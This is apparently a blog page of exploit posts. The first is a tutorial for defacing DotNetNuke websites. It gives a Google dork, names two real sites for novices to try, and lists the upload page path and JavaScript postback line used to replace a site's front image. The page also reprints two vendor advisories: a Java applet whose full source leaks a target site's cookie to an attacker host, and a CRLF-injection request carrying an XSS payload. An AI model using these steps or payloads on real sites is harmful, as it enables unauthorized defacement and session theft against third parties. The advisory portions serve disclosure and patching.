IP

Showing posts with label Exploits. Show all posts
Showing posts with label Exploits. Show all posts

Tuesday, August 2, 2011

Hack Website Using DNN [Dot Net Nuke] Exploit



Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website.

inurl:"/portals/0"

You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

http://www.wittur.se/
http://www.bsd405.org/

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/
Check the location of the image. It should be located in /portals/0/

For e.g. in case of http://www.wittur.se ..the image is located at location- http://www.wittur.se/Portals/0/SHM.jpg

Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.

Now here is the exploit

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

HOW TO RUN ?

Simply copy paste it as shown below:

www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site

After selecting the third option, replace the URL bar with below script

javascript:__doPostBack('ctlURL$cmdUpload','')

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...BINGGOOOOOOOOOOOO you have hacked the website.



Monday, December 13, 2010

JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass



Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.

Exploitation

The Flash movie demo can be viewed at the following link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address;
2. A malicious user controls www.badsite.com web site;
3. A malicious user targets www.targetsite.net users.

The following table summarises the sequence of actions shown in demo:
1 User has a valid cookie for www.targetsite.net
2 The same user visits www.badsite.com which performs a cross site forged
  request to www.targetsite.net . The forged request is performed by a Java
  Applet embedded on the malicious site. The Java Applet bypasses the Same-of-
  Origin policy (SOP) as an unsigned Java Applet should not be able to communica
  from www.badsite.com to www.targetsite.net without a crossdomain.xml
  policy file.
3 Java Applet performs first GET request to www.targetsite.net. At this stage, th
  Java Applet already controls the Cookie: header sent to www.targetsite.net
  through the getRequestProperty("cookie") method. This is in breach with SOP.
4 A second request is done for the purpose of the demo which leaks
  www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request.


Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP):

Mozilla Firefox 3.5.8
Opera 10.60
Internet Explorer 6.0.2900.5512
Google Chrome 5.0.375.9
Internet Explorer 8.0.6001.18702
Safari 5.0 (7533.16)

MaliciousJavaApplet.java:

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}


Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:
http://www.oracle.com/technetwork/java/javase/downloads/index.html

Oracle Sun Java System Web Server - HTTP Response Splitting





Oracle Sun Java System Web Server - HTTP Response Splitting


Description

Security-Assessment.com discovered that is possible to successfully perform an HTTP Response Splitting attack against applications served by Sun Java System Web Server. The vulnerability can be exploited if user supplied input is used to generate the value of an HTTP header, as shown in the test.jsp page below:

test.jsp – Source Code

<html>
test
<%
response.setStatus(HttpServletResponse.SC_OK);
String ref = request.getParameter("ref");
response.setHeader("Referer",ref);
%>

The test.jsp page is vulnerable to HTTP response splitting when served by Sun Java System Web Server. HTTP Response Split can lead to Cross Site Scripting and browser cache poisoning attacks.

Exploitation

In this advisory, we will cover description of a Cross Site Scripting attack. The following HTTP GET contains a Cross Site Scripting payload which is included in the HTTP Header injection:

GET /test.jsp?ref=http://my.test.domain.com/%0D%0AContent-
type:+text/html;%0D%0A%0D%0ATEST%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

By inserting CR and LF characters in the “ref” HTTP parameter, it is possible to split the HTTP response from the server as shown in the following table:

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 28 May 2010 12:44:55 GMT
Referer: http://my.test.domain.com/
Content-type: text/html;
TEST<script>alert(1)</script>
Content-type: text/html;charset=ISO-8859-1
Content-length: 22
<html>
test


The above example shows a JavaScript code injection in the split HTTP response. Consequently, it is possible to perform a Cross Site Scripting attack. The testing was conducted using the following settings:
* Server side: Sun-Java-System-Web-Server/7.0 Update 8 (default) installed on Windows XP SP3;
* Client side: Mozilla Firefox 3.5.8, Opera 10.10, Internet Explorer 8.


Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of Sun Java System Web Server to upgrade to the latest version as soon as possible. For more information on the new release of patch for Sun Java System Web Server refer to the release notes:
http://sunsolve.sun.com/search/document.do?assetkey=1-79-1215353.1-1
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html#AppendixSUNS